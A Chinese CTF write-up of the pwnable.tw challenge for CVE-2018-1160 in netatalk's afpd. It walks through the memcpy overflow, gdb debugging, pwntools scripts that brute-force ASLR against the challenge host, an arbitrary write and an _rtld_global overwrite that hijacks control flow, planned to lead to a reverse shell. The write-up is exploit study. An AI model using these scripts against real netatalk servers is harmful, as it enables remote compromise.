和徐老一起完成,HITCON2019时为netatalk的1day,漏洞是由于memcpy长度没限制导致的越界写,可覆盖关键变量,最终可导致有一次任意地址写,主要挑战为绕过ASLR。由于程序通过fork出一个子进程来处理每一个连接,所以在任意地址写时,可从低到高逐字节的覆盖并爆破原本的合法地址。比较麻烦的是,因为没有和Pwnable远程题目一模一样的环境,所以从合法地址到libc基址仍需要再爆破一次。最后通过覆写位于ld.so数据段_rtld_global结构体,并在程序超时退出时(远程tcp close后需要三分钟),完成控制流劫持并反弹shell。
简介
这个洞是2018年被发现,2019年被用到了HITCON Quals上,后又被收录到Pwnable.tw。所以主要有以下三部分文章:
hitcon相关:
Pwnable相关:
- CVE-2018-1160 netatalk越界漏洞复现及分析
- Netatalk CVE-2018-1160 分析
- CVE-2018-1160: Expanding the original 18 year old vulnerability exploit
- pwnable.tw CVE-2018-1160 Write up
以上文章写过的我基本就简写了,补充些分析过程以及做题细节。
分析
漏洞
题目给了二进制、配置文件、需要的运行库,所以不需要编译以及安装其他依赖即可运行。
源码:https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/
主要目标二进制是:afpd、libatalk.so.18,他们在源码中的路径是:
- /netatalk-3.1.11/etc/afpd/
- /netatalk-3.1.11/libatalk/
漏洞点在 /netatalk-3.1.11/libatalk/dsi/dsi_opensess.c 的 dsi_opensession 函数中的 memcpy:
/* /netatalk-3.1.11/libatalk/dsi/dsi_opensess.c */
void dsi_opensession(DSI *dsi)
{
...
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);
...
其中memcpy的长度参数 dsi->commands[i] 由外部传入,且没检查大小,导致可溢出到DSI结构体中attn_quantum的后续成员。
/* /netatalk-3.1.11/include/atalk/dsi.h */
#define DSI_DATASIZ 65536
typedef struct DSI {
...
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
但可见成员 commands 的类型为uint8_t*,所以memcpy的最大长度是0xff。并且由于 DSI_DATASIZ 为65535,所以溢出部分data后就无法向后溢出了,故最终只能溢出如上这些成员变量。
交互
开始看这个memcpy的参数一头雾水,为啥拷贝的源地址,和长度都与 dsi->commands 相关:
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
而且开头还有个switch里++,越看越费解。所以首先我应该知道dsi是个啥。在源码中没有查到dsi全称,然后发现漏洞原文中有wireshark的截图,并且可以看到wireshark支持解析这个协议,那应该是个挺标准的协议。Google搜索 dsi_opensession protocol 即可搜到:Data Stream Interface,对照其协议格式,和漏洞PoC:
发现,PoC中的header就是符合dsi协议的字段,协议中的Payload就是PoC中的commands,可看到commands的构成是:
commands = "\x01" # DSIOPT_ATTNQUANT 选项的值
commands += "\x80" # 数据长度
commands += "\xaa" * 0x80
再对应memcpy,基本就能看明白了:
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
其中DSIOPT_ATTNQUANT为0x1:
/* /netatalk-3.1.11/include/atalk/dsi.h */
#define DSIOPT_ATTNQUANT 0x01 /* attention quantum */
所以memcpy就是从commands数据中按顺序解析出三个元素:功能码,数据长度,数据载荷。所以,也就是由于拷贝的需要的两个参数是揉在一段数据里,并且没有变量名标识,导致看起来比较费解:
commands = 功能码(1 byte) + 数据长度(1 byte) + 数据载荷(n byte)
故最终交互,就是构造dsi数据包,并给发送给目标的tcp端口。尝试溢出server_quantum,这个字段可在回包中收到:
from pwn import *
context(endian='big',log_level='debug')
io = remote("chall.pwnable.tw",10002)
cmd = b'\x01'+ p8(0xc)+ b'a'*0xc
dsi = b'\x00\x04\x00\x01'
dsi += p32(0)
dsi += p32(len(cmd))
dsi += p32(0)
dsi += cmd
io.send(dsi)
io.recv()
测试的确可以收到4个a:
➜ python3 exp.py
[+] Opening connection to chall.pwnable.tw on port 10002: Done
[DEBUG] Sent 0x1e bytes:
00000000 00 04 00 01 00 00 00 00 00 00 00 0e 00 00 00 00 │····│····│····│····│
00000010 01 0c 61 61 61 61 61 61 61 61 61 61 61 61 │··aa│aaaa│aaaa│aa│
0000001e
[DEBUG] Received 0x1c bytes:
00000000 01 04 00 01 00 00 00 00 00 00 00 0c 00 00 00 00 │····│····│····│····│
00000010 00 04 61 61 61 61 02 04 00 00 00 80 │··aa│aa··│····│
0000001c
[*] Closed connection to chall.pwnable.tw port 10002
如果想看到清晰的协议格式,可以用wireshark,但因为端口不是协议默认,故需要手动让其识别:
调试
上面的交互的确看起来是触发了漏洞并覆盖了变量,不过想看到内存破坏还是得gdb调试。首先本地启动目标程,题目给的libc是2.27,所以使用ubuntu18.04的虚拟机:
➜ LD_PRELOAD="./libatalk.so.18" ./afpd -d -F ./afp.conf
然后检查一下端口情况,成功运行:
➜ sudo netstat -pantu | grep 5566
tcp6 0 0 :::5566 :::* LISTEN 123345/./afpd
由于我们每次攻击的是fork出来的子进程,所以需要让gdb跟着子进程:
➜ sudo gdb --pid 123345 -q
gef➤ set follow-fork-mode child
gef➤ c
然后打一发会引发内存破坏的PoC:
from pwn import *
context(endian='big',log_level='debug')
io = remote("127.0.0.1",5566)
cmd = b'\x01'+ p8(0x80)+ b'a'*0x80
dsi = b'\x00\x04\x00\x01'
dsi += p32(0)
dsi += p32(len(cmd))
dsi += p32(0)
dsi += cmd
io.send(dsi)
io.recv()
gdb窗口成功进入子进程并崩溃在dsi_opensession中:
gef➤ c
Continuing.
[New process 123552]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Thread 2.1 "afpd" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f863b8e7740 (LWP 123552)]
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x61616161
$rbx : 0x0000563fcd14df00 → 0x0000000000000000
$rcx : 0x6161616161616161 ("aaaaaaaa"?)
$rdx : 0x0
$rsp : 0x00007ffce77c8840 → 0x0000000000000000
$rbp : 0x0000563fcd14df00 → 0x0000000000000000
$rsi : 0x00007f863b7e6092 → 0x0000000000000000
$rdi : 0x0000563fcd14e658 → 0x0000000000000000
$rip : 0x00007f863b486fbb → <dsi_opensession+139> movzx eax, BYTE PTR [rcx+r9*1]
$r8 : 0x0000563fcd14e5d8 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$r9 : 0x1
$r10 : 0x25
$r11 : 0x293
$r12 : 0x0000563fcd14a8b0 → 0x0000563fcd14a9f0 → 0x0000000000000000
$r13 : 0x1e
$r14 : 0x00007ffce77c8940 → 0x0000000000000000
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffce77c8840│+0x0000: 0x0000000000000000 ← $rsp
0x00007ffce77c8848│+0x0008: 0x00007f863b486c63 → <dsi_getsession+467> mov QWORD PTR [r14], 0x0
0x00007ffce77c8850│+0x0010: 0x0000000000000000
0x00007ffce77c8858│+0x0018: 0x0000000600000005
0x00007ffce77c8860│+0x0020: 0x0000000000000000
0x00007ffce77c8868│+0x0028: 0x0000000000000000
0x00007ffce77c8870│+0x0030: 0x0000000000000000
0x00007ffce77c8878│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f863b486fad <dsi_opensession+125> mov eax, DWORD PTR [rbx+0x6d8]
0x7f863b486fb3 <dsi_opensession+131> bswap eax
0x7f863b486fb5 <dsi_opensession+133> mov DWORD PTR [rbx+0x6d8], eax
→ 0x7f863b486fbb <dsi_opensession+139> movzx eax, BYTE PTR [rcx+r9*1]
0x7f863b486fc0 <dsi_opensession+144> lea esi, [rdx+rax*1+0x2]
0x7f863b486fc4 <dsi_opensession+148> cmp rsi, QWORD PTR [rbx+0x106f8]
0x7f863b486fcb <dsi_opensession+155> mov rdx, rsi
0x7f863b486fce <dsi_opensession+158> jb 0x7f863b486f80 <dsi_opensession+80>
0x7f863b486fd0 <dsi_opensession+160> mov QWORD PTR [rbx+0x106f8], 0xc
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "afpd", stopped 0x7f863b486fbb in dsi_opensession (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f863b486fbb → dsi_opensession()
[#1] 0x7f863b486c63 → dsi_getsession()
[#2] 0x563fcc883645 → main()
───────────────────────────────────────────────────────────────────────────────────────────
0x00007f863b486fbb in dsi_opensession () from ./libatalk.so.18
gef➤
死因很明显,对rcx(0x6161616161616161)这个非法地址解引用了。接下来定位一下我们覆盖的目标结构体在哪:
from pwn import *
context(endian='big',log_level='debug')
io = remote("127.0.0.1",5566)
cmd = b'\x01'+ p8(0xc)+ b'a'*0x8+'xuan'
dsi = b'\x00\x04\x00\x01'
dsi += p32(0)
dsi += p32(len(cmd))
dsi += p32(0)
dsi += cmd
io.send(dsi)
io.recv()
由于父进程不会死,所以很方便,还是原来的命令,断点直接打在刚才死的位置,打完exp后成功断下:
➜ sudo gdb --pid 123345 -q
gef➤ set follow-fork-mode child
gef➤ b * 0x7f863b486fbb
gef➤ c
Continuing.
[New process 123664]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[Switching to Thread 0x7f863b8e7740 (LWP 123664)]
Thread 2.1 "afpd" hit Breakpoint 1, 0x00007f863b486fbb in dsi_opensession () from ./libatalk.so.18
全局搜索特征串xuan,分析后,rdi寄存器的值,也即0x563fcd14e5e0,就是结构中server_quantum的位置:
gef➤ grep xuan
[+] Searching 'xuan' in memory
[+] In '[heap]'(0x563fcd12c000-0x563fcd16e000), permission=rw-
0x563fcd14e5e0 - 0x563fcd14e5e4 → "xuan"
[+] In (0x7f863b7e6000-0x7f863b8e7000), permission=rw-
0x7f863b7e601a - 0x7f863b7e601e → "xuan"
gef➤ x /20gx 0x563fcd14e5e0
0x563fcd14e5e0: 0x000100006e617578 0x00007f863b7e6010
0x563fcd14e5f0: 0x0000000000000000 0x0000000000000000
0x563fcd14e600: 0x0000000000000000 0x0000000000000000
对应结构体:
/* /netatalk-3.1.11/include/atalk/dsi.h */
#define DSI_DATASIZ 65536
typedef struct DSI {
...
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
故位于0x563fcd14e5e8的0x00007f863b7e6010就是commands,根据程序内存布局,梳理一下变量:
...
0x0000563fcc879000 0x0000563fcc8bb000 0x0000000000000000 r-x /mnt/hgfs/桌面/CVE-2018-1160/afpd
0x0000563fccaba000 0x0000563fccabc000 0x0000000000041000 r-- /mnt/hgfs/桌面/CVE-2018-1160/afpd
0x0000563fccabc000 0x0000563fccabf000 0x0000000000043000 rw- /mnt/hgfs/桌面/CVE-2018-1160/afpd
0x0000563fccabf000 0x0000563fccade000 0x0000000000000000 rw-
0x0000563fcd12c000 0x0000563fcd16e000 0x0000000000000000 rw- [heap]
0x00007f86354f5000 0x00007f86360f6000 0x0000000000000000 rw-
...
0x00007f863b6ef000 0x00007f863b718000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b7e6000 0x00007f863b8e7000 0x0000000000000000 rw-
0x00007f863b8e7000 0x00007f863b8f8000 0x0000000000000000 rw-
0x00007f863b916000 0x00007f863b918000 0x0000000000000000 rw-
0x00007f863b918000 0x00007f863b919000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b919000 0x00007f863b91a000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b91a000 0x00007f863b91b000 0x0000000000000000 rw-
...
- dsi结构体,其中成员位于0x563fcd14e5e0,这是堆段
- commands指向的内存为0x7f863b7e6010,位于ld.so后面的数据段,目前不详这段内存是啥
所以本次memcpy的漏洞不能触发堆溢出,能想到,主要的玩法就在这个能被覆盖的commands指针上了。
源码
要想彻底明白漏洞本身以及利用方法,自然少不了看源码,最主要的是要看明白被覆盖变量的内存位置,用法,以及生命周期。这里简略的记录了一些动作的调用路径:
连接初始化
[afpd] main -> configinit -> dsi_init
[libatalk] dsi_init -> dsi_tcp_init -> dsi->proto_open = dsi_tcp_open
连接
[afpd] main -> dsi_start -> dsi_getsession
[libatalk] dsi_getsession -> dsi->proto_open -> dsi_tcp_open -> fork
bug
[afpd] main -> dsi_start -> dsi_getsession
[libatalk] dsi_getsession -> dsi_opensession (bug!!!)
dsi->commands 初始化
[afpd] main -> dsi_start -> dsi_getsession
[libatalk] dsi_getsession -> dsi->proto_open -> dsi_tcp_open ->
dsi_init_buffer -> dsi->commands = malloc(dsi->server_quantum)
// 故一个tcp连接init一次dsi->commands
// 值得注意的是
// 由于server_quantum被初始化为0x100000,为1024k,大于128k
// 故对dsi->commands初始化时指向的malloc内存由mmap分配
// 这就解释了上文commands指向0x7f863b7e6010的原因
exploit
// dsi_stream_write: just write a bunch of bytes.
// dsi_stream_read: just read a bunch of bytes.
// dsi_stream_send: send a DSI header + data.
// dsi_stream_receive: read a DSI header + data.
[afpd] main -> dsi_start -> afp_over_dsi -> dsi_stream_receive
[libatalk] dsi_stream_receive -> dsi_stream_read(dsi, dsi->commands, dsi->cmdlen)
// 故修改完commands指针后,在本次tcp中再发一个包就可以任意地址写了,数据内容在dsi中的payload,不包括header
解题
速度
由于连接题目远程很慢,根据题目信息,其服务器是linode提供的,检查ip在日本东京,所以如果使用相同机房的服务器进行解题,则会快很多。买与题目内核版本相同的日本的服务器,测试速度:
root@localhost:~# ping chall.pwnable.tw
PING chall.pwnable.tw 139.162.123.119 56(84) bytes of data.
64 bytes from 139.162.123.119: icmp_seq=1 ttl=63 time=0.801 ms
64 bytes from 139.162.123.119: icmp_seq=2 ttl=63 time=1.03 ms
64 bytes from 139.162.123.119: icmp_seq=3 ttl=63 time=0.853 ms
64 bytes from 139.162.123.119: icmp_seq=4 ttl=63 time=0.743 ms
64 bytes from 139.162.123.119: icmp_seq=5 ttl=63 time=0.622 ms
爆破
以前面的数据为例,commands指向0x7f863b7e6010,根据观察可知,这个地址和动态库的地址很像,至少7f863,这两个半字节是完全一致的:
0x00007f863aa45000 0x00007f863ac2c000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ac2c000 0x00007f863ae2c000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae2c000 0x00007f863ae30000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae30000 0x00007f863ae32000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae32000 0x00007f863ae36000 0x0000000000000000 rw-
0x00007f863ae36000 0x00007f863ae50000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863ae50000 0x00007f863b04f000 0x000000000001a000 --- /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863b04f000 0x00007f863b050000 0x0000000000019000 r-- /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863b050000 0x00007f863b051000 0x000000000001a000 rw- /lib/x86_64-linux-gnu/libpthread-2.27.so
0x00007f863b051000 0x00007f863b055000 0x0000000000000000 rw-
0x00007f863b055000 0x00007f863b05c000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b05c000 0x00007f863b25b000 0x0000000000007000 --- /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b25b000 0x00007f863b25c000 0x0000000000006000 r-- /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b25c000 0x00007f863b25d000 0x0000000000007000 rw- /lib/x86_64-linux-gnu/libacl.so.1.1.0
0x00007f863b25d000 0x00007f863b260000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b260000 0x00007f863b45f000 0x0000000000003000 --- /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b45f000 0x00007f863b460000 0x0000000000002000 r-- /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b460000 0x00007f863b461000 0x0000000000003000 rw- /lib/x86_64-linux-gnu/libdl-2.27.so
0x00007f863b461000 0x00007f863b4df000 0x0000000000000000 r-x /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b4df000 0x00007f863b6de000 0x000000000007e000 --- /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b6de000 0x00007f863b6df000 0x000000000007d000 r-- /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b6df000 0x00007f863b6e1000 0x000000000007e000 rw- /CVE-2018-1160/netatalk 2/libatalk.so.18
0x00007f863b6e1000 0x00007f863b6ef000 0x0000000000000000 rw-
0x00007f863b6ef000 0x00007f863b718000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b7e6000 0x00007f863b8e7000 0x0000000000000000 rw-
0x00007f863b8e7000 0x00007f863b8f8000 0x0000000000000000 rw-
0x00007f863b916000 0x00007f863b918000 0x0000000000000000 rw-
0x00007f863b918000 0x00007f863b919000 0x0000000000029000 r-- /lib/x86_64-linux-gnu/ld-2.27.so
0x00007f863b919000 0x00007f863b91a000 0x000000000002a000 rw- /lib/x86_64-linux-gnu/ld-2.27.so
具体分析一下:
0x7f863b7e6010 // commands地址
0x7f8630000000 // 有效高位两个半字节地址
0x7f863????000 // 所有段的基址都是4k页对齐
则如果能拿到一个有效的高两个半字节,最差的情况爆破65536次,必能爆出libc的基址,故首先爆破一个可写的合法地址:
设计了中间第3-6个字节从0xff向0x00爆破,其余从0x00向0xff爆破的策略,在本地能比较准的拿到mmap的地址
from pwn import *
context(endian='big')
leak_addr = b''
for j in range(8):
for i in range(256):
if(j>1 and j<6): i = 255 - i
io = remote("chall.pwnable.tw",10002)
payload = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak_addr + p8(i)
dsi = b'\x00\x04\x00\x01'
dsi += p32(0)
dsi += p32(len(payload))
dsi += p32(0)
dsi += payload
io.send(dsi)
try:
a = io.recv()
leak_addr += p8(i)
log.success(str(hex(i)))
io.close()
break
except:
io.close()
log.success(hex(u64(leak_addr,endian='little')))
2021.11.6 对 pwnable.tw 爆破的结果为:
[*] Closed connection to chall.pwnable.tw port 10002
[+] 0x7fa9bcc90000
根据本地结果,可以发现mmap地址与libc相隔并不远,如果认为这个地址是mmap的地址,那么libc地址应该比他小,因为这个mmap在ld.so后面,所以对libc的爆破为:
leak_addr = 0x7fa9bcc90000
for i in range(0x0000000,0xffff000,0x1000):
libc_addr = leak_addr - i
于是遇到了问题,你怎么知道你libc爆破对了?所以需要先确立打法,然后爆破libc并攻击,直到打成为止。
利用
任意地址写
所以先在本地搞一下任意地址写,直接测试对爆破出来的合法地址写:
from pwn import *
context(endian='little')
ip = "127.0.0.1"
port = 5566
def gen_dsi(data):
dsi = b'\x00\x04\x00\x01'
dsi += p32(0)
dsi += p32(len(data),endian='big')
dsi += p32(0)
dsi += data
return dsi
def aaw(io,addr,data):
payload = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
io.send(gen_dsi(payload))
io.recv()
io.send(gen_dsi(data))
def boom():
leak = b''
for j in range(8):
for i in range(256):
if(j>1 and j<6): i = 255 - i
io = remote(ip,port)
payload = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
io.send(gen_dsi(payload))
try:
a = io.recv()
leak += p8(i)
log.success(str(hex(i)))
io.close()
break
except:
io.close()
return u64(leak)
leak_addr = boom()
log.success(hex(leak_addr))
input()
io = remote(ip,port)
aaw(io,leak_addr,b"xuanxuan")
当打印合法地址时,此时会由于input卡住,留出gdb的时间:
[*] Closed connection to 127.0.0.1 port 5566
[+] Opening connection to 127.0.0.1 on port 5566: Done
[+] 0x0
[*] Closed connection to 127.0.0.1 port 5566
[+] 0x7f863b8f6000
开gdb:
➜ sudo gdb --pid 123345 -q
gef➤ set follow-fork-mode child
gef➤ c
然后exp窗口中回车继续执行,gdb进入子进程,由于合法地址,不会崩,故ctrl+c暂停进程,然后查看内存,的确写成了:
gef➤ x /2s 0x7f863b8f6000
0x7f863b8f6000: "xuanxuan"
0x7f863b8f6009: ""
但此任意内存写只有一次,因为dsi_getsession在一次tcp连接中只有一次,不过好在这个任意地址写的内容长度可以很大。
_rtld_global
按照官方wp的解法,当有了libc的基址后,是可以写_rtld_global的,打法如下:
要彻底理解_rtld_global的实现还是比较困难的,因为其代码在libc和ld相关的底层函数中,并且写法太trick了…
主要原理就是程序在exit时会调用一个函数指针,这个函数指针以及参数都在_rtld_global这个结构体里,我之前一直以为这个东西,在libc里,这次才发现他在ld.so的数据段里,而这个符号存在于libc的got表中…
.got:00000000003EADE8 _rtld_global_ptr dq offset _rtld_global ; DATA XREF: __libc_start_main+15F↑r
还有其他外部符号:
extern:00000000003F0B78 ; Segment type: Externs
extern:00000000003F0B78 ; extern
extern:00000000003F0B78 extrn _rtld_global ; DATA XREF: .got:_rtld_global_ptr↑o
extern:00000000003F0B80 extrn __libc_enable_secure
extern:00000000003F0B80 ; DATA XREF: .got:__libc_enable_secure_ptr↑o
extern:00000000003F0B88 extrn __tls_get_addr:near
extern:00000000003F0B88 ; CODE XREF: ___tls_get_addr↑j
extern:00000000003F0B88 ; DATA XREF: .got.plt:off_3EB058↑o
extern:00000000003F0B90 extrn _dl_exception_create:near
extern:00000000003F0B90 ; CODE XREF: __dl_exception_create↑j
extern:00000000003F0B90 ; DATA XREF: .got.plt:off_3EB080↑o
extern:00000000003F0B98 extrn _rtld_global_ro ; DATA XREF: .got:_rtld_global_ro_ptr↑o
extern:00000000003F0BA0 extrn __tunable_get_val:near
extern:00000000003F0BA0 ; CODE XREF: ___tunable_get_val↑j
extern:00000000003F0BA0 ; DATA XREF: .got.plt:off_3EB0A0↑o
extern:00000000003F0BA8 extrn _dl_find_dso_for_object:near
extern:00000000003F0BA8 ; CODE XREF: __dl_find_dso_for_object↑j
extern:00000000003F0BA8 ; DATA XREF: .got.plt:off_3EB0F8↑o
extern:00000000003F0BB0 extrn _dl_argv ; DATA XREF: .got:_dl_argv_ptr↑o
extern:00000000003F0BB8 extrn _dl_starting_up ; weak
extern:00000000003F0BB8 ; DATA XREF: .got:_dl_starting_up_ptr↑o
extern:00000000003F0BB8
所以其实libc基址和_rtld_global的偏移并不固定,之前写的CTF Pwn 题中 libc 可用 函数指针 (攻击位置) 整理并不准确。经过测试,在系统环境,程序使用的动态库都确定时,其之间的偏移确实固定。也说明,在不管环境版本,以及动态库情况时,仅用libc.so的版本表明其与_rtld_global的偏移是某固定值,这是错误的。比如本题:
gef➤ vmmap libc-2.27
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00007f863aa45000 0x00007f863ac2c000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ac2c000 0x00007f863ae2c000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae2c000 0x00007f863ae30000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f863ae30000 0x00007f863ae32000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
gef➤ p &_rtld_global
$1 = (struct rtld_global *) 0x7f863b919060 <_rtld_global>
gef➤ p /x 0x7f863b919060-0x00007f863aa45000
$2 = 0xed4060
再测一个helloworld:
gef➤ vmmap libc-2.27
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00007ffff79e2000 0x00007ffff7bc9000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bc9000 0x00007ffff7dc9000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dc9000 0x00007ffff7dcd000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcd000 0x00007ffff7dcf000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
gef➤ p &_rtld_global
$1 = (struct rtld_global *) 0x7ffff7ffd060 <_rtld_global>
gef➤ p /x 0x7ffff7ffd060-0x00007ffff79e2000
$2 = 0x61b060
这其中的差异是ld.so和libc.so中间可能还映射了其他的动态链接库,这个策略应该是内核定的,具体就不详了。总之这个打法就是打结构中的两个成员,在libc2.27中其偏移为:
- 函数指针:_dl_rtld_lock_recursive (_rtld_global+2312)
- 调用参数:_dl_load_lock (_rtld_global+3840)
gef➤ p &_rtld_global._dl_load_lock
$1 = (__rtld_lock_recursive_t *) 0x7f863b919968 <_rtld_global+2312>
gef➤ p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7f863b919f60 <_rtld_global+3840>
gef➤ p /x 0x7f863b919f60 - 0x7f863b919968
$3 = 0x5f8
故只要有一次任意地址写大小0x600字节的能力,就能控制流劫持并控制参数。并且在此处控制流劫持时,参数为_dl_load_lock的地址,所以如果是字符串参数,直接打到_dl_load_lock及之后的内存中即可,尝试打一次0xdeadbeef,本地为了方便直接复用之前爆破出的地址,手动算出与libc的偏移,libc与_rtld_global的偏移:
from pwn import *
context(endian='little')
ip = "127.0.0.1"
port = 5566
def gen_dsi(data):
dsi = b'\x00\x04\x00\x01'
dsi += p32(0)
dsi += p32(len(data),endian='big')
dsi += p32(0)
dsi += data
return dsi
def aaw(io,addr,data):
payload = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
io.send(gen_dsi(payload))
io.recv()
io.send(gen_dsi(data))
leak_addr = 0x7f863b8f6000
libc_addr = leak_addr - 0xeb1000
rtld = libc_addr + 0xed4060
io = remote(ip,port)
cmd = b'xuanxuan'
aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(0xdeadbeef))
虽然题目说是0秒超时,但gdb进入子进程后并没有直接触发控制流劫持,所以手动ctrl+c将进程停止:
gef➤ set follow-fork-mode child
gef➤ c
Continuing.
[New process 3871]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
^C
Thread 2.1 "afpd" received signal SIGINT, Interrupt.
[Switching to Thread 0x7f863b8e7740 (LWP 3871)]
接下来是凯韬教我的大招,使用p,手动在gdb命令行里调函数,成功触发控制流劫持,并控制rdi指向的内容:
gef➤ p exit(0)
Thread 2.1 "afpd" received signal SIGALRM, Alarm clock.
Thread 2.1 "afpd" received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007f863b919060 → 0x00007f863b91a170 → 0x0000563fcc879000 → jg 0x563fcc879047
$rbx : 0x00007f863b919060 → 0x00007f863b91a170 → 0x0000563fcc879000 → jg 0x563fcc879047
$rcx : 0x1
$rdx : 0x00007f863b6ffb40 → <_dl_fini+0> push rbp
$rsp : 0x00007ffce77c8738 → 0x00007f863b6ffbaf → <_dl_fini+111> mov edx, DWORD PTR [rbx+0x8]
$rbp : 0x00007ffce77c8790 → 0x0000000000000000
$rsi : 0x0
$rdi : 0x00007f863b919968 → "xuanxuan"
$rip : 0xdeadbeef
$r8 : 0x1
$r9 : 0x0
$r10 : 0x00007ffce77c8690 → 0x0000000000000000
$r11 : 0x246
$r12 : 0x0
$r13 : 0x1
$r14 : 0x00007f863ae35708 → 0x0000000000000000
$r15 : 0x00007f863ae31d80 → 0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffce77c8738│+0x0000: 0x00007f863b6ffbaf → <_dl_fini+111> mov edx, DWORD PTR [rbx+0x8] ← $rsp
0x00007ffce77c8740│+0x0008: 0x0000000000000000
0x00007ffce77c8748│+0x0010: 0x0000000000000000
0x00007ffce77c8750│+0x0018: 0x0000000000000000
0x00007ffce77c8758│+0x0020: 0x0000000000000000
0x00007ffce77c8760│+0x0028: 0x0000000000000000
0x00007ffce77c8768│+0x0030: 0x0000000000000001
0x00007ffce77c8770│+0x0038: 0x00007f863ae30718 → 0x00007f863ae31d80 → 0x0000000000000000
───────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
───────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "afpd", stopped 0xdeadbeef in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────── trace ───
0x00000000deadbeef in ?? ()
The program being debugged was signaled while in a function called from GDB.
GDB remains in the frame where the signal was received.
To change this behavior use "set unwindonsignal on".
Evaluation of the expression containing the function
(__GI_exit) will be abandoned.
When the function is done executing, GDB will silently stop.
gef➤
所以直接打system和反弹shell的命令就行了,并不用打setcontext。经过测试,本地子进程,将在连接断掉几分钟后退出,超时退出时即可触发exit,进而完成控制流劫持。
远程完整exp
